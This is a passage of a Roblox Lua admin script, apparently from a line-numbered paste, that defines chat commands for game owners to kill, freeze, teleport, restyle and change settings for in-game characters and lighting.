  7891. end)
  7892. script.Parent.Equipped:connect(function(mouse)
  7893. for i,v in pairs(game.Players.LocalPlayer.Character.Torso:children()) do if v.Name == "SwordForce" then v:Destroy() end end
  7894. UnsheathSound:play()
  7895. script.Parent.Enabled = true
  7896. if not mouse then return end
  7897. mouse.Icon = "http://www.roblox.com/asset/?id=103593352"
  7898. end)]] cl.Disabled = false
  7899. end
  7900. end))
  7901. end
  7902. end
  7903.  
  7904. if msg:lower():sub(1,6) == "clone " then
  7905. local plrz = GetPlr(plr, msg:lower():sub(7))
  7906. for i, v in pairs(plrz) do
  7907. coroutine.resume(coroutine.create(function()
  7908. if v and v.Character then
  7909. v.Character.Archivable = true
  7910. local cl = v.Character:Clone()
  7911. table.insert(objects,cl)
  7912. cl.Parent = game.Workspace
  7913. cl:MoveTo(v.Character:GetModelCFrame().p)
  7914. cl:MakeJoints()
  7915. v.Character.Archivable = false
  7916. end
  7917. end))
  7918. end
  7919. end
  7920.  
  7921. if msg:lower():sub(1,8) == "control " then
  7922. local plrz = GetPlr(plr, msg:lower():sub(9))
  7923. for i, v in pairs(plrz) do
  7924. coroutine.resume(coroutine.create(function()
  7925. if v and v.Character then
  7926. v.Character.Humanoid.PlatformStand = true
  7927. local w = Instance.new("Weld", plr.Character.Torso )
  7928. w.Part0 = plr.Character.Torso
  7929. w.Part1 = v.Character.Torso
  7930. local w2 = Instance.new("Weld", plr.Character.Head)
  7931. w2.Part0 = plr.Character.Head
  7932. w2.Part1 = v.Character.Head
  7933. local w3 = Instance.new("Weld", plr.Character:findFirstChild("Right Arm"))
  7934. w3.Part0 = plr.Character:findFirstChild("Right Arm")
  7935. w3.Part1 = v.Character:findFirstChild("Right Arm")
  7936. local w4 = Instance.new("Weld", plr.Character:findFirstChild("Left Arm"))
  7937. w4.Part0 = plr.Character:findFirstChild("Left Arm")
  7938. w4.Part1 = v.Character:findFirstChild("Left Arm")
  7939. local w5 = Instance.new("Weld", plr.Character:findFirstChild("Right Leg"))
  7940. w5.Part0 = plr.Character:findFirstChild("Right Leg")
  7941. w5.Part1 = v.Character:findFirstChild("Right Leg")
  7942. local w6 = Instance.new("Weld", plr.Character:findFirstChild("Left Leg"))
  7943. w6.Part0 = plr.Character:findFirstChild("Left Leg")
  7944. w6.Part1 = v.Character:findFirstChild("Left Leg")
  7945. plr.Character.Head.face:Destroy()
  7946. for i, p in pairs(v.Character:children()) do
  7947. if p:IsA("BasePart") then
  7948. p.CanCollide = false
  7949. end
  7950. end
  7951. for i, p in pairs(plr.Character:children()) do
  7952. if p:IsA("BasePart") then
  7953. p.Transparency = 1
  7954. elseif p:IsA("Hat") then
  7955. p:Destroy()
  7956. end
  7957. end
  7958. v.Character.Parent = plr.Character
  7959. v.Character.Humanoid.Changed:connect(function() v.Character.Humanoid.PlatformStand = true end)
  7960. end
  7961. end))
  7962. end
  7963. end
  7964.  
  7965. if msg:lower():sub(1,5) == "kill " then
  7966. local plrz = GetPlr(plr, msg:lower():sub(6))
  7967. for i, v in pairs(plrz) do
  7968. coroutine.resume(coroutine.create(function()
  7969. if v and v.Character then v.Character:BreakJoints() end
  7970. end))
  7971. end
  7972. end
  7973.  
  7974. if msg:lower():sub(1,8) == "respawn " then
  7975. local plrz = GetPlr(plr, msg:lower():sub(9))
  7976. for i, v in pairs(plrz) do
  7977. coroutine.resume(coroutine.create(function()
  7978. if v and v.Character then v:LoadCharacter() end
  7979. end))
  7980. end
  7981. end
  7982.  
  7983. if msg:lower():sub(1,5) == "trip " then
  7984. local plrz = GetPlr(plr, msg:lower():sub(6))
  7985. for i, v in pairs(plrz) do
  7986. coroutine.resume(coroutine.create(function()
  7987. if v and v.Character and v.Character:findFirstChild("Torso") then
  7988. v.Character.Torso.CFrame = v.Character.Torso.CFrame * CFrame.Angles(0,0,math.rad(180))
  7989. end
  7990. end))
  7991. end
  7992. end
  7993.  
  7994. if msg:lower():sub(1,5) == "stun " then
  7995. local plrz = GetPlr(plr, msg:lower():sub(6))
  7996. for i, v in pairs(plrz) do
  7997. coroutine.resume(coroutine.create(function()
  7998. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  7999. v.Character.Humanoid.PlatformStand = true
  8000. end
  8001. end))
  8002. end
  8003. end
  8004.  
  8005. if msg:lower():sub(1,7) == "unstun " then
  8006. local plrz = GetPlr(plr, msg:lower():sub(8))
  8007. for i, v in pairs(plrz) do
  8008. coroutine.resume(coroutine.create(function()
  8009. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  8010. v.Character.Humanoid.PlatformStand = false
  8011. end
  8012. end))
  8013. end
  8014. end
  8015.  
  8016. if msg:lower():sub(1,5) == "jump " then
  8017. local plrz = GetPlr(plr, msg:lower():sub(6))
  8018. for i, v in pairs(plrz) do
  8019. coroutine.resume(coroutine.create(function()
  8020. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  8021. v.Character.Humanoid.Jump = true
  8022. end
  8023. end))
  8024. end
  8025. end
  8026.  
  8027. if msg:lower():sub(1,4) == "sit " then
  8028. local plrz = GetPlr(plr, msg:lower():sub(5))
  8029. for i, v in pairs(plrz) do
  8030. coroutine.resume(coroutine.create(function()
  8031. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  8032. v.Character.Humanoid.Sit = true
  8033. end
  8034. end))
  8035. end
  8036. end
  8037.  
  8038. if msg:lower():sub(1,10) == "invisible " then
  8039. local plrz = GetPlr(plr, msg:lower():sub(11))
  8040. for i, v in pairs(plrz) do
  8041. coroutine.resume(coroutine.create(function()
  8042. if v and v.Character then
  8043. for a, obj in pairs(v.Character:children()) do
  8044. if obj:IsA("BasePart") then obj.Transparency = 1 if obj:findFirstChild("face") then obj.face.Transparency = 1 end elseif obj:IsA("Hat") and obj:findFirstChild("Handle") then obj.Handle.Transparency = 1 end
  8045. end
  8046. end
  8047. end))
  8048. end
  8049. end
  8050.  
  8051. if msg:lower():sub(1,8) == "visible " then
  8052. local plrz = GetPlr(plr, msg:lower():sub(9))
  8053. for i, v in pairs(plrz) do
  8054. coroutine.resume(coroutine.create(function()
  8055. if v and v.Character then
  8056. for a, obj in pairs(v.Character:children()) do
  8057. if obj:IsA("BasePart") then obj.Transparency = 0 if obj:findFirstChild("face") then obj.face.Transparency = 0 end elseif obj:IsA("Hat") and obj:findFirstChild("Handle") then obj.Handle.Transparency = 0 end
  8058. end
  8059. end
  8060. end))
  8061. end
  8062. end
  8063.  
  8064. if msg:lower():sub(1,5) == "lock " then
  8065. local plrz = GetPlr(plr, msg:lower():sub(6))
  8066. for i, v in pairs(plrz) do
  8067. coroutine.resume(coroutine.create(function()
  8068. if v and v.Character then
  8069. for a, obj in pairs(v.Character:children()) do
  8070. if obj:IsA("BasePart") then obj.Locked = true elseif obj:IsA("Hat") and obj:findFirstChild("Handle") then obj.Handle.Locked = true end
  8071. end
  8072. end
  8073. end))
  8074. end
  8075. end
  8076.  
  8077. if msg:lower():sub(1,7) == "unlock " then
  8078. local plrz = GetPlr(plr, msg:lower():sub(8))
  8079. for i, v in pairs(plrz) do
  8080. coroutine.resume(coroutine.create(function()
  8081. if v and v.Character then
  8082. for a, obj in pairs(v.Character:children()) do
  8083. if obj:IsA("BasePart") then obj.Locked = false elseif obj:IsA("Hat") and obj:findFirstChild("Handle") then obj.Handle.Locked = false end
  8084. end
  8085. end
  8086. end))
  8087. end
  8088. end
  8089.  
  8090. if msg:lower():sub(1,8) == "explode " then
  8091. local plrz = GetPlr(plr, msg:lower():sub(9))
  8092. for i, v in pairs(plrz) do
  8093. coroutine.resume(coroutine.create(function()
  8094. if v and v.Character and v.Character:findFirstChild("Torso") then
  8095. local ex = Instance.new("Explosion", game.Workspace) ex.Position = v.Character.Torso.Position
  8096. end
  8097. end))
  8098. end
  8099. end
  8100.  
  8101. if msg:lower():sub(1,4) == "age " then
  8102. local plrz = GetPlr(plr, msg:lower():sub(5))
  8103. for i, v in pairs(plrz) do
  8104. coroutine.resume(coroutine.create(function()
  8105. if v then Message(v.Name .. "'s age", tostring(v.AccountAge), false, {plr}) end
  8106. end))
  8107. end
  8108. end
  8109.  
  8110. if msg:lower():sub(1,5) == "fire " then
  8111. local plrz = GetPlr(plr, msg:lower():sub(6))
  8112. for i, v in pairs(plrz) do
  8113. coroutine.resume(coroutine.create(function()
  8114. if v and v.Character and v.Character:findFirstChild("Torso") then
  8115. local cl = Instance.new("Fire", v.Character.Torso) table.insert(objects, cl)
  8116. end
  8117. end))
  8118. end
  8119. end
  8120.  
  8121. if msg:lower():sub(1,7) == "unfire " then
  8122. local plrz = GetPlr(plr, msg:lower():sub(8))
  8123. for i, v in pairs(plrz) do
  8124. coroutine.resume(coroutine.create(function()
  8125. if v and v.Character and v.Character:findFirstChild("Torso") then
  8126. for z, cl in pairs(v.Character.Torso:children()) do if cl:IsA("Fire") then cl:Destroy() end end
  8127. end
  8128. end))
  8129. end
  8130. end
  8131.  
  8132. if msg:lower():sub(1,6) == "smoke " then
  8133. local plrz = GetPlr(plr, msg:lower():sub(7))
  8134. for i, v in pairs(plrz) do
  8135. coroutine.resume(coroutine.create(function()
  8136. if v and v.Character and v.Character:findFirstChild("Torso") then
  8137. local cl = Instance.new("Smoke", v.Character.Torso) table.insert(objects, cl)
  8138. end
  8139. end))
  8140. end
  8141. end
  8142.  
  8143. if msg:lower():sub(1,8) == "unsmoke " then
  8144. local plrz = GetPlr(plr, msg:lower():sub(9))
  8145. for i, v in pairs(plrz) do
  8146. coroutine.resume(coroutine.create(function()
  8147. if v and v.Character and v.Character:findFirstChild("Torso") then
  8148. for z, cl in pairs(v.Character.Torso:children()) do if cl:IsA("Smoke") then cl:Destroy() end end
  8149. end
  8150. end))
  8151. end
  8152. end
  8153.  
  8154. if msg:lower():sub(1,9) == "sparkles " then
  8155. local plrz = GetPlr(plr, msg:lower():sub(10))
  8156. for i, v in pairs(plrz) do
  8157. coroutine.resume(coroutine.create(function()
  8158. if v and v.Character and v.Character:findFirstChild("Torso") then
  8159. local cl = Instance.new("Sparkles", v.Character.Torso) table.insert(objects, cl)
  8160. end
  8161. end))
  8162. end
  8163. end
  8164.  
  8165. if msg:lower():sub(1,11) == "unsparkles " then
  8166. local plrz = GetPlr(plr, msg:lower():sub(12))
  8167. for i, v in pairs(plrz) do
  8168. coroutine.resume(coroutine.create(function()
  8169. if v and v.Character and v.Character:findFirstChild("Torso") then
  8170. for z, cl in pairs(v.Character.Torso:children()) do if cl:IsA("Sparkles") then cl:Destroy() end end
  8171. end
  8172. end))
  8173. end
  8174. end
  8175.  
  8176. if msg:lower():sub(1,3) == "ff " then
  8177. local plrz = GetPlr(plr, msg:lower():sub(4))
  8178. for i, v in pairs(plrz) do
  8179. coroutine.resume(coroutine.create(function()
  8180. if v and v.Character then Instance.new("ForceField", v.Character) end
  8181. end))
  8182. end
  8183. end
  8184.  
  8185. if msg:lower():sub(1,5) == "unff " then
  8186. local plrz = GetPlr(plr, msg:lower():sub(6))
  8187. for i, v in pairs(plrz) do
  8188. coroutine.resume(coroutine.create(function()
  8189. if v and v.Character then
  8190. for z, cl in pairs(v.Character:children()) do if cl:IsA("ForceField") then cl:Destroy() end end
  8191. end
  8192. end))
  8193. end
  8194. end
  8195.  
  8196. if msg:lower():sub(1,7) == "punish " then
  8197. local plrz = GetPlr(plr, msg:lower():sub(8))
  8198. for i, v in pairs(plrz) do
  8199. coroutine.resume(coroutine.create(function()
  8200. if v and v.Character then
  8201. v.Character.Parent = game:service("Lighting")
  8202. end
  8203. end))
  8204. end
  8205. end
  8206.  
  8207. if msg:lower():sub(1,9) == "unpunish " then
  8208. local plrz = GetPlr(plr, msg:lower():sub(10))
  8209. for i, v in pairs(plrz) do
  8210. coroutine.resume(coroutine.create(function()
  8211. if v and v.Character then
  8212. v.Character.Parent = game:service("Workspace")
  8213. v.Character:MakeJoints()
  8214. end
  8215. end))
  8216. end
  8217. end
  8218.  
  8219. if msg:lower():sub(1,7) == "freeze " then
  8220. local plrz = GetPlr(plr, msg:lower():sub(8))
  8221. for i, v in pairs(plrz) do
  8222. coroutine.resume(coroutine.create(function()
  8223. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  8224. for a, obj in pairs(v.Character:children()) do
  8225. if obj:IsA("BasePart") then obj.Anchored = true end v.Character.Humanoid.WalkSpeed = 0
  8226. end
  8227. end
  8228. end))
  8229. end
  8230. end
  8231.  
  8232. if msg:lower():sub(1,5) == "thaw " then
  8233. local plrz = GetPlr(plr, msg:lower():sub(6))
  8234. for i, v in pairs(plrz) do
  8235. coroutine.resume(coroutine.create(function()
  8236. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  8237. for a, obj in pairs(v.Character:children()) do
  8238. if obj:IsA("BasePart") then obj.Anchored = false end v.Character.Humanoid.WalkSpeed = 16
  8239. end
  8240. end
  8241. end))
  8242. end
  8243. end
  8244.  
  8245. if msg:lower():sub(1,5) == "heal " then
  8246. local plrz = GetPlr(plr, msg:lower():sub(6))
  8247. for i, v in pairs(plrz) do
  8248. coroutine.resume(coroutine.create(function()
  8249. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  8250. v.Character.Humanoid.Health = v.Character.Humanoid.MaxHealth
  8251. end
  8252. end))
  8253. end
  8254. end
  8255.  
  8256. if msg:lower():sub(1,4) == "god " then
  8257. local plrz = GetPlr(plr, msg:lower():sub(5))
  8258. for i, v in pairs(plrz) do
  8259. coroutine.resume(coroutine.create(function()
  8260. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  8261. v.Character.Humanoid.MaxHealth = math.huge
  8262. v.Character.Humanoid.Health = 9e9
  8263. end
  8264. end))
  8265. end
  8266. end
  8267.  
  8268. if msg:lower():sub(1,6) == "ungod " then
  8269. local plrz = GetPlr(plr, msg:lower():sub(7))
  8270. for i, v in pairs(plrz) do
  8271. coroutine.resume(coroutine.create(function()
  8272. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  8273. v.Character.Humanoid.MaxHealth = 100
  8274. v.Character.Humanoid.Health = v.Character.Humanoid.MaxHealth
  8275. end
  8276. end))
  8277. end
  8278. end
  8279.  
  8280. if msg:lower():sub(1,8) == "ambient " then
  8281. local chk1 = msg:lower():sub(9):find(" ") + 8
  8282. local chk2 = msg:sub(chk1+1):find(" ") + chk1
  8283. game.Lighting.Ambient = Color3.new(msg:sub(9,chk1-1),msg:sub(chk1+1,chk2-1),msg:sub(chk2+1))
  8284. end
  8285.  
  8286. if msg:lower():sub(1,11) == "brightness " then
  8287. game.Lighting.Brightness = msg:sub(12)
  8288. end
  8289.  
  8290. if msg:lower():sub(1,5) == "time " then
  8291. game.Lighting.TimeOfDay = msg:sub(6)
  8292. end
  8293.  
  8294. if msg:lower():sub(1,9) == "fogcolor " then
  8295. local chk1 = msg:lower():sub(10):find(" ") + 9
  8296. local chk2 = msg:sub(chk1+1):find(" ") + chk1
  8297. game.Lighting.FogColor = Color3.new(msg:sub(10,chk1-1),msg:sub(chk1+1,chk2-1),msg:sub(chk2+1))
  8298. end
  8299.  
  8300. if msg:lower():sub(1,7) == "fogend " then
  8301. game.Lighting.FogEnd = msg:sub(8)
  8302. end
  8303.  
  8304. if msg:lower():sub(1,9) == "fogstart " then
  8305. game.Lighting.FogStart = msg:sub(10)
  8306. end
  8307.  
  8308. if msg:lower():sub(1,7) == "btools " then
  8309. local plrz = GetPlr(plr, msg:lower():sub(8))
  8310. for i, v in pairs(plrz) do
  8311. coroutine.resume(coroutine.create(function()
  8312. if v and v:findFirstChild("Backpack") then
  8313. local t1 = Instance.new("HopperBin", v.Backpack) t1.Name = "Move" t1.BinType = "GameTool"
  8314. local t2 = Instance.new("HopperBin", v.Backpack) t2.Name = "Clone" t2.BinType = "Clone"
  8315. local t3 = Instance.new("HopperBin", v.Backpack) t3.Name = "Delete" t3.BinType = "Hammer"
  8316. local t4= Instance.new("HopperBin", v.Backpack) t4.Name = "Resize"
  8317. local cl4 = script.LocalScriptBase:Clone() cl4.Parent = t4 cl4.Code.Value = [[
  8318. repeat wait() until game.Players.LocalPlayer and game.Players.LocalPlayer.Character and game.Players.LocalPlayer:findFirstChild("PlayerGui")
  8319. local sb
  8320. local hs
  8321. local pdist
  8322.  
  8323. script.Parent.Selected:connect(function(mouse)
  8324. if not mouse then return end
  8325. sb = Instance.new("SelectionBox", game.Players.LocalPlayer.PlayerGui) sb.Color = BrickColor.new("Bright blue") sb.Adornee = nil
  8326. hs = Instance.new("Handles", game.Players.LocalPlayer.PlayerGui) hs.Color = BrickColor.new("Bright blue") hs.Adornee = nil
  8327. mouse.Button1Down:connect(function() if not mouse.Target or mouse.Target.Locked then sb.Adornee = nil hs.Adornee = nil else sb.Adornee = mouse.Target hs.Adornee = mouse.Target hs.Faces = mouse.Target.ResizeableFaces end end)
  8328. hs.MouseDrag:connect(function(old,dist) if hs.Adornee and math.abs(dist-pdist) >= hs.Adornee.ResizeIncrement then if hs.Adornee:Resize(old, math.floor((dist-pdist)/ hs.Adornee.ResizeIncrement + .5) * hs.Adornee.ResizeIncrement) then pdist = dist end end end)
  8329. hs.MouseButton1Down:connect(function() pdist = 0 end)
  8330. end)
  8331.  
  8332. script.Parent.Deselected:connect(function() sb:Destroy() hs:Destroy() end)]] cl4.Disabled = false
  8333. end
  8334. end))
  8335. end
  8336. end
  8337.  
  8338. if msg:lower():sub(1,12) == "startergive " then
  8339. local chk1 = msg:lower():sub(13):find(" ") + 12
  8340. local plrz = GetPlr(plr, msg:lower():sub(13,chk1-1))
  8341. for i, v in pairs(plrz) do
  8342. coroutine.resume(coroutine.create(function()
  8343. if v and v:findFirstChild("StarterGear") and game:findFirstChild("Lighting") then
  8344. for a, tool in pairs(game.Lighting:children()) do
  8345. if tool:IsA("Tool") or tool:IsA("HopperBin") then
  8346. if msg:lower():sub(chk1+1) == "all" or tool.Name:lower():find(msg:lower():sub(chk1+1)) == 1 then tool:Clone().Parent = v.StarterGear end
  8347. end
  8348. end
  8349. end
  8350. end))
  8351. end
  8352. end
  8353.  
  8354. if msg:lower():sub(1,5) == "give " then
  8355. local chk1 = msg:lower():sub(6):find(" ") + 5
  8356. local plrz = GetPlr(plr, msg:lower():sub(6,chk1-1))
  8357. for i, v in pairs(plrz) do
  8358. coroutine.resume(coroutine.create(function()
  8359. if v and v:findFirstChild("Backpack") and game:findFirstChild("Lighting") then
  8360. for a, tool in pairs(game.Lighting:children()) do
  8361. if tool:IsA("Tool") or tool:IsA("HopperBin") then
  8362. if msg:lower():sub(chk1+1) == "all" or tool.Name:lower():find(msg:lower():sub(chk1+1)) == 1 then tool:Clone().Parent = v.Backpack end
  8363. end
  8364. end
  8365. end
  8366. end))
  8367. end
  8368. end
  8369.  
  8370. if msg:lower():sub(1,12) == "removetools " then
  8371. local plrz = GetPlr(plr, msg:lower():sub(13))
  8372. for i, v in pairs(plrz) do
  8373. coroutine.resume(coroutine.create(function()
  8374. if v and v.Character and v:findFirstChild("Backpack") then
  8375. for a, tool in pairs(v.Character:children()) do if tool:IsA("Tool") or tool:IsA("HopperBin") then tool:Destroy() end end
  8376. for a, tool in pairs(v.Backpack:children()) do if tool:IsA("Tool") or tool:IsA("HopperBin") then tool:Destroy() end end
  8377. end
  8378. end))
  8379. end
  8380. end
  8381.  
  8382. if msg:lower():sub(1,5) == "rank " then
  8383. local chk1 = msg:lower():sub(6):find(" ") + 5
  8384. local plrz = GetPlr(plr, msg:lower():sub(6,chk1-1))
  8385. for i, v in pairs(plrz) do
  8386. coroutine.resume(coroutine.create(function()
  8387. if v and v:IsInGroup(msg:sub(chk1+1)) then
  8388. Hint("[" .. v:GetRankInGroup(msg:sub(chk1+1)) .. "] " .. v:GetRoleInGroup(msg:sub(chk1+1)), {plr})
  8389. elseif v and not v:IsInGroup(msg:sub(chk1+1))then
  8390. Hint(v.Name .. " is not in the group " .. msg:sub(chk1+1), {plr})
  8391. end
  8392. end))
  8393. end
  8394. end
  8395.  
  8396. if msg:lower():sub(1,7) == "damage " then
  8397. local chk1 = msg:lower():sub(8):find(" ") + 7
  8398. local plrz = GetPlr(plr, msg:lower():sub(8,chk1-1))
  8399. for i, v in pairs(plrz) do
  8400. coroutine.resume(coroutine.create(function()
  8401. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  8402. v.Character.Humanoid:TakeDamage(msg:sub(chk1+1))
  8403. end
  8404. end))
  8405. end
  8406. end
  8407.  
  8408. if msg:lower():sub(1,5) == "grav " then
  8409. local plrz = GetPlr(plr, msg:lower():sub(6))
  8410. for i, v in pairs(plrz) do
  8411. coroutine.resume(coroutine.create(function()
  8412. if v and v.Character and v.Character:findFirstChild("Torso") then
  8413. for a, frc in pairs(v.Character.Torso:children()) do if frc.Name == "BFRC" then frc:Destroy() end end
  8414. end
  8415. end))
  8416. end
  8417. end
  8418.  
  8419. if msg:lower():sub(1,8) == "setgrav " then
  8420. local chk1 = msg:lower():sub(9):find(" ") + 8
  8421. local plrz = GetPlr(plr, msg:lower():sub(9,chk1-1))
  8422. for i, v in pairs(plrz) do
  8423. coroutine.resume(coroutine.create(function()
  8424. if v and v.Character and v.Character:findFirstChild("Torso") then
  8425. for a, frc in pairs(v.Character.Torso:children()) do if frc.Name == "BFRC" then frc:Destroy() end end
  8426. local frc = Instance.new("BodyForce", v.Character.Torso) frc.Name = "BFRC" frc.force = Vector3.new(0,0,0)
  8427. for a, prt in pairs(v.Character:children()) do if prt:IsA("BasePart") then frc.force = frc.force - Vector3.new(0,prt:GetMass()*msg:sub(chk1+1),0) elseif prt:IsA("Hat") then frc.force = frc.force - Vector3.new(0,prt.Handle:GetMass()*msg:sub(chk1+1),0) end end
  8428. end
  8429. end))
  8430. end
  8431. end
  8432.  
  8433. if msg:lower():sub(1,7) == "nograv " then
  8434. local plrz = GetPlr(plr, msg:lower():sub(8))
  8435. for i, v in pairs(plrz) do
  8436. coroutine.resume(coroutine.create(function()
  8437. if v and v.Character and v.Character:findFirstChild("Torso") then
  8438. for a, frc in pairs(v.Character.Torso:children()) do if frc.Name == "BFRC" then frc:Destroy() end end
  8439. local frc = Instance.new("BodyForce", v.Character.Torso) frc.Name = "BFRC" frc.force = Vector3.new(0,0,0)
  8440. for a, prt in pairs(v.Character:children()) do if prt:IsA("BasePart") then frc.force = frc.force + Vector3.new(0,prt:GetMass()*196.25,0) elseif prt:IsA("Hat") then frc.force = frc.force + Vector3.new(0,prt.Handle:GetMass()*196.25,0) end end
  8441. end
  8442. end))
  8443. end
  8444. end
  8445.  
  8446. if msg:lower():sub(1,7) == "health " then
  8447. local chk1 = msg:lower():sub(8):find(" ") + 7
  8448. local plrz = GetPlr(plr, msg:lower():sub(8,chk1-1))
  8449. for i, v in pairs(plrz) do
  8450. coroutine.resume(coroutine.create(function()
  8451. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  8452. v.Character.Humanoid.MaxHealth = msg:sub(chk1+1)
  8453. v.Character.Humanoid.Health = v.Character.Humanoid.MaxHealth
  8454. end
  8455. end))
  8456. end
  8457. end
  8458.  
  8459. if msg:lower():sub(1,6) == "speed " then
  8460. local chk1 = msg:lower():sub(7):find(" ") + 6
  8461. local plrz = GetPlr(plr, msg:lower():sub(7,chk1-1))
  8462. for i, v in pairs(plrz) do
  8463. coroutine.resume(coroutine.create(function()
  8464. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  8465. v.Character.Humanoid.WalkSpeed = msg:sub(chk1+1)
  8466. end
  8467. end))
  8468. end
  8469. end
  8470.  
  8471. if msg:lower():sub(1,5) == "team " then
  8472. local chk1 = msg:lower():sub(6):find(" ") + 5
  8473. local plrz = GetPlr(plr, msg:lower():sub(6,chk1-1))
  8474. for i, v in pairs(plrz) do
  8475. coroutine.resume(coroutine.create(function()
  8476. if v and game:findFirstChild("Teams") then
  8477. for a, tm in pairs(game.Teams:children()) do
  8478. if tm.Name:lower():find(msg:lower():sub(chk1+1)) == 1 then v.TeamColor = tm.TeamColor end
  8479. end
  8480. end
  8481. end))
  8482. end
  8483. end
  8484.  
  8485. if msg:lower():sub(1,6) == "place " then
  8486. local chk1 = msg:lower():sub(7):find(" ") + 6
  8487. local plrz = GetPlr(plr, msg:lower():sub(7,chk1-1))
  8488. for i, v in pairs(plrz) do
  8489. coroutine.resume(coroutine.create(function()
  8490. if v and v:findFirstChild("PlayerGui") then
  8491. local cl = script.LocalScriptBase:Clone() cl.Code.Value = [[game:service("TeleportService"):Teleport(]] .. msg:sub(chk1+1) .. ")" cl.Parent = v.PlayerGui cl.Disabled = false
  8492. end
  8493. end))
  8494. end
  8495. end
  8496.  
  8497. if msg:lower():sub(1,3) == "tp " then
  8498. local chk1 = msg:lower():sub(4):find(" ") + 3
  8499. local plrz = GetPlr(plr, msg:lower():sub(4,chk1-1))
  8500. local plrz2 = GetPlr(plr, msg:lower():sub(chk1+1))
  8501. for i, v in pairs(plrz) do
  8502. coroutine.resume(coroutine.create(function()
  8503. for i2, v2 in pairs(plrz2) do
  8504. if v and v2 and v.Character and v2.Character and v.Character:findFirstChild("Torso") and v2.Character:findFirstChild("Torso") then
  8505. v.Character.Torso.CFrame = v2.Character.Torso.CFrame + Vector3.new(math.random(-1,1),0,math.random(-1,1))
  8506. end
  8507. end
  8508. end))
  8509. end
  8510. end
  8511.  
  8512. if msg:lower():sub(1,7) == "change " then
  8513. local chk1 = msg:lower():sub(8):find(" ") + 7
  8514. local chk2 = msg:sub(chk1+1):find(" ") + chk1
  8515. local plrz = GetPlr(plr, msg:lower():sub(8,chk1-1))
  8516. for i, v in pairs(plrz) do
  8517. coroutine.resume(coroutine.create(function()
  8518. if v and v:findFirstChild("leaderstats") then
  8519. for a, st in pairs(v.leaderstats:children()) do
  8520. if st.Name:lower():find(msg:sub(chk1+1,chk2-1)) == 1 then st.Value = msg:sub(chk2+1) end
  8521. end
  8522. end
  8523. end))
  8524. end
  8525. end
  8526.  
  8527. if msg:lower():sub(1,6) == "shirt " then
  8528. local chk1 = msg:lower():sub(7):find(" ") + 6
  8529. local plrz = GetPlr(plr, msg:lower():sub(7,chk1-1))
  8530. for i, v in pairs(plrz) do
  8531. coroutine.resume(coroutine.create(function()
  8532. if v and v.Character then
  8533. for i,v in pairs(v.Character:children()) do
  8534. if v:IsA("Shirt") then local cl = v:Clone() cl.Parent = v.Parent cl.ShirtTemplate = "http://www.roblox.com/asset/?id=" .. chk1 v:Destroy() end
  8535. end
  8536. end
  8537. end))
  8538. end
  8539. end
  8540.  
  8541. if msg:lower():sub(1,6) == "pants " then
  8542. local chk1 = msg:lower():sub(7):find(" ") + 6
  8543. local plrz = GetPlr(plr, msg:lower():sub(7,chk1-1))
  8544. for i, v in pairs(plrz) do
  8545. coroutine.resume(coroutine.create(function()
  8546. if v and v.Character then
  8547. for i,v in pairs(v.Character:children()) do
  8548. if v:IsA("Pants") then local cl = v:Clone() cl.Parent = v.Parent cl.PantsTemplate = "http://www.roblox.com/asset/?id=" .. chk1 v:Destroy() end
  8549. end
  8550. end
  8551. end))
  8552. end
  8553. end
  8554.  
  8555. if msg:lower():sub(1,5) == "face " then
  8556. local chk1 = msg:lower():sub(6):find(" ") + 5
  8557. local plrz = GetPlr(plr, msg:lower():sub(6,chk1-1))
  8558. for i, v in pairs(plrz) do
  8559. coroutine.resume(coroutine.create(function()
  8560. if v and v.Character and v.Character:findFirstChild("Head") and v.Character.Head:findFirstChild("face") then
  8561. v.Character.Head:findFirstChild("face").Texture = "http://www.roblox.com/asset/?id=" .. chk1
  8562. end
  8563. end))
  8564. end
  8565. end
  8566.  
  8567. ---------------------
  8568. -- FunCommands --
  8569. ---------------------
  8570. if FunCommands or plr.userId == game.CreatorId or ChkOwner(plr.Name:lower()) then
  8571.  
  8572. if msg:lower():sub(1,8) == "swagify " then
  8573. local plrz = GetPlr(plr, msg:lower():sub(9))
  8574. for i, v in pairs(plrz) do
  8575. coroutine.resume(coroutine.create(function()
  8576. if v and v.Character then
  8577. for i,v in pairs(v.Character:children()) do
  8578. if v.Name == "Shirt" then local cl = v:Clone() cl.Parent = v.Parent cl.ShirtTemplate = "http://www.roblox.com/asset/?id=109163376" v:Destroy() end
  8579. if v.Name == "Pants" then local cl = v:Clone() cl.Parent = v.Parent cl.PantsTemplate = "http://www.roblox.com/asset/?id=109163376" v:Destroy() end
  8580. end
  8581. for a,cp in pairs(v.Character:children()) do if cp.Name == "EpicCape" then cp:Destroy() end end
  8582. local cl = script.LocalScriptBase:Clone() cl.Name = "CapeScript" cl.Code.Value = [[local plr = game.Players.LocalPlayer
  8583. repeat wait() until plr and plr.Character and plr.Character:findFirstChild("Torso")
  8584. local torso = plr.Character.Torso
  8585. local p = Instance.new("Part", torso.Parent) p.Name = "EpicCape" p.Anchored = false
  8586. p.CanCollide = false p.TopSurface = 0 p.BottomSurface = 0 p.BrickColor = BrickColor.new("Pink") local dec = Instance.new("Decal", p) dec.Face = 2 dec.Texture = "http://www.roblox.com/asset/?id=109301474" p.formFactor = "Custom"
  8587. p.Size = Vector3.new(.2,.2,.2)
  8588. local msh = Instance.new("BlockMesh", p) msh.Scale = Vector3.new(9,17.5,.5)
  8589. local motor1 = Instance.new("Motor", p)
  8590. motor1.Part0 = p
  8591. motor1.Part1 = torso
  8592. motor1.MaxVelocity = .01
  8593. motor1.C0 = CFrame.new(0,1.75,0)*CFrame.Angles(0,math.rad(90),0)
  8594. motor1.C1 = CFrame.new(0,1,.45)*CFrame.Angles(0,math.rad(90),0)
  8595. local wave = false
  8596. repeat wait(1/44)
  8597. local ang = 0.1
  8598. local oldmag = torso.Velocity.magnitude
  8599. local mv = .002
  8600. if wave then ang = ang + ((torso.Velocity.magnitude/10)*.05)+.05 wave = false else wave = true end
  8601. ang = ang + math.min(torso.Velocity.magnitude/11, .5)
